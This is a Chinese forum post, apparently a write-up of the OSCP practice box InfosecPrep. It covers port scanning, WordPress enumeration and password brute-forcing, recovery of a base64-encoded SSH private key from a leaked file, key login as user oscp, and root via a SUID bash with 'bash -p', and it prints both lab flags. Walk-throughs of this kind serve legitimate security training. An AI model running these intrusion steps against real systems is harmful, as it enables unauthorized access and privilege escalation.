OSCP系列靶场-Esay-InfosecPrep

杳若   ·   发表于 2023-07-30 21:03:35   ·   CTF&WP专版

OSCP系列靶场-Esay-InfosecPrep

总结

getwebshell → 通过目录扫描得到robots.txt端点 → robots.txt存在敏感目录 → 访问敏感目录得到base64加密信息 → 解密得到ssh密钥 → 信息收集得到用户名 → 免密ssh登录

提 权 思 路 → 内网信息收集 → suid-bash直接提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.206

  • 启动靶机
    获取目标机器IP → 192.168.152.89

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
  1. sudo nmap --min-rate 10000 -p- 192.168.152.89
  2. PORT STATE SERVICE
  3. 22/tcp open ssh
  4. 80/tcp open http
  5. 33060/tcp open mysqlx

开放的端口-→22,80,33060

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p22,80,33060 192.168.152.89
  3. PORT STATE SERVICE VERSION
  4. 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu
  5. 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1 Ubuntu 4ubuntu0.1

  1. # 搜索对应脚本
  2. msf6 searchsploit OpenSSH 8.2p1

无相关漏洞详情

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

  1. ssh root @192.168.152.89 -v

显示publickey就是只支持密钥登录

80-HTTP端口的信息收集

访问 http://192.168.152.89:80 像一个cms进行指纹搜集

信息收集-网站指纹

  1. whatweb http://192.168.152.89:80

版本号也报了出来,优先尝试通用漏洞 WordPress 5.4.2

漏洞利用-网站指纹

  1. searchsploit WordPress 5.4.2

发现需要插件

信息收集-漏洞扫描wpscan

因为cms的原因,针对wordpress的专用扫描器

  1. # -e枚举 ap枚举插件 u枚举用户名 t枚举主题
  2. wpscan --url http://192.168.152.89:80 --enumerate ap,u,t

通过爆破发现了用户名admin


发现一些没什么大危害的漏洞

  1. # 暴力破解admin密码
  2. wpscan --url http://192.168.152.89:80 -U admin -P /usr/share/wordlists/rockyou.txt

这边挂着我们去研究其他内容

信息收集-HTML隐藏信息查看

  1. # 包括文章中是否写明一些敏感信息
  2. curl http://192.168.152.89:80

无隐藏信息

信息收集-目录扫描

信息收集-目录扫描初步
  1. dirsearch -u http://192.168.152.89:80 -x 302,403


因为扫出了目录,深层次的扫描待选

  1. 信息收集-目录扫描(后缀)
  2. 信息收集-目录扫描(深度/大字典)
  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/robots.txt端点

访问后得到了一个新的端点/secret.txt

/secret.txt端点

得到了一串代码,带 == 推测是base64

base64解密
  1. curl http://192.168.152.89:80/secret.txt | base64 -d

解密之后发现是私钥

  1. curl http://192.168.152.89:80/secret.txt | base64 -d → is_rsa

将其保存成一个文件is_rsa方便后续利用

其他端点

另外端点是wp的端点,因为发现了私钥,所以先待定

33060端口的信息收集

nmap探测知道是一个mysqlxmysql数据库应该有一定的关联
不过从80端口我们已经获取了进入的key,就不探究33060端口了

漏洞利用-getwebshell

利用root连接私钥(失败)

获取了ssh免密登录的私钥后以为是root的,我飘了

  1. sudo ssh -i is_rsa root @192.168.152.89 -p22

root用户不能私钥登录

利用admin连接私钥(失败)

想到了wpscan收集到的admin用户

  1. sudo ssh -i is_rsa admin @192.168.152.89 -p22

也不行 G!

爆破用户名(好像没有这工具)

我以为可以用hyrda在已知私钥的情况下爆破用户名,好像没这个命令。

遗漏的信息收集

我傻了,网站官方上写明了

  1. Oh yea! Almost forgot the only user on this box is oscp”.

唯一的用户是oscp

可以尝试利用oscp进行爆破

ssh私钥登录

  1. sudo ssh -i is_rsa oscp @192.168.152.89 -p22

ohhhh 能进去但是我权限开大了

  1. chmod 600 is_rsa
  2. sudo ssh -i is_rsa oscp @192.168.152.89 -p22

内网遨游-getshell

FLAG1获取

  1. -bash-5.0$ find / -name local.txt 2→/dev/null
  2. /home/oscp/local.txt
  3. -bash-5.0$ cat /home/oscp/local.txt
  4. 10c23c2c5f69e180a3970f10b2a236ef

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

  1. # 确定发行版本
  2. -bash-5.0$ lsb_release -a
  3. No LSB modules are available.
  4. Distributor ID: Ubuntu
  5. Description: Ubuntu 20.04 LTS
  6. Release: 20.04
  7. Codename: focal

发行版本为Ubuntu 20.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

  1. -bash-5.0$ uname -a
  2. Linux oscp 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为5.4.0

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # 利用sudo -l寻找
  2. sudo -l

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

  1. # -perm 文件权限
  2. find / -perm -u=s -type f 2→/dev/null
  3. /snap/core18/1754/bin/umount
  4. /snap/core18/1754/usr/bin/chfn
  5. /snap/core18/1754/usr/bin/chsh
  6. /snap/core18/1754/usr/bin/gpasswd
  7. /snap/core18/1754/usr/bin/newgrp
  8. /snap/core18/1754/usr/bin/passwd
  9. /snap/core18/1754/usr/bin/sudo
  10. /snap/core18/1754/usr/lib/dbus-1.0/dbus-daemon-launch-helper
  11. /snap/core18/1754/usr/lib/openssh/ssh-keysign
  12. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  13. /usr/lib/snapd/snap-confine
  14. /usr/lib/eject/dmcrypt-get-device
  15. /usr/lib/policykit-1/polkit-agent-helper-1
  16. /usr/lib/openssh/ssh-keysign
  17. /usr/bin/gpasswd
  18. /usr/bin/mount
  19. /usr/bin/fusermount
  20. /usr/bin/passwd
  21. /usr/bin/newgrp
  22. /usr/bin/at
  23. /usr/bin/sudo
  24. /usr/bin/chfn
  25. /usr/bin/bash
  26. /usr/bin/pkexec
  27. /usr/bin/umount
  28. /usr/bin/chsh
  29. /usr/bin/su

虽然多,重点关注/usr目录下发现了bash直接会心一笑

权限提升

bash权限提升


通过查找使用上述命令将直接提权

以下命令将以root身份打开一个bash shell。

  1. bash -p
  2. bash-3.2# id
  3. uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)


提权成功

FLAG2获取

  1. bash-5.0# cat /root/proof.txt
  2. abb2ed5f2c5147f3881508eaade611db

完结撒花~

反思

当我通关提权了,wpscan还在扫描,应该用cewl生成字典较好,不然太多了

以后应该把网站上的信息收集加入进来

密钥可以再次base64,密钥的格式为

  1. -----BEGIN OPENSSH PRIVATE KEY-----
  2. 内容
  3. -----END OPENSSH PRIVATE KEY-----
  1. # 针对内容再次base64解密也可以得到用户名
  2. cat test.txt | baes64 -d

用户名金币积分时间理由
Track-魔方 200.00 0 2023-08-17 14:02:31 期待同学能有更多实战相关的文章产出~

打赏我,让我更有动力~

1 条回复   |  直到 8个月前 | 334 次浏览

Track-魔方
发表于 8个月前

文章中的图片没布局好:

同时,’>’字符影响阅读:

以及HTML便签影响阅读:

请把相关的点修改一下(其他待审核文章也一样),再提交

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.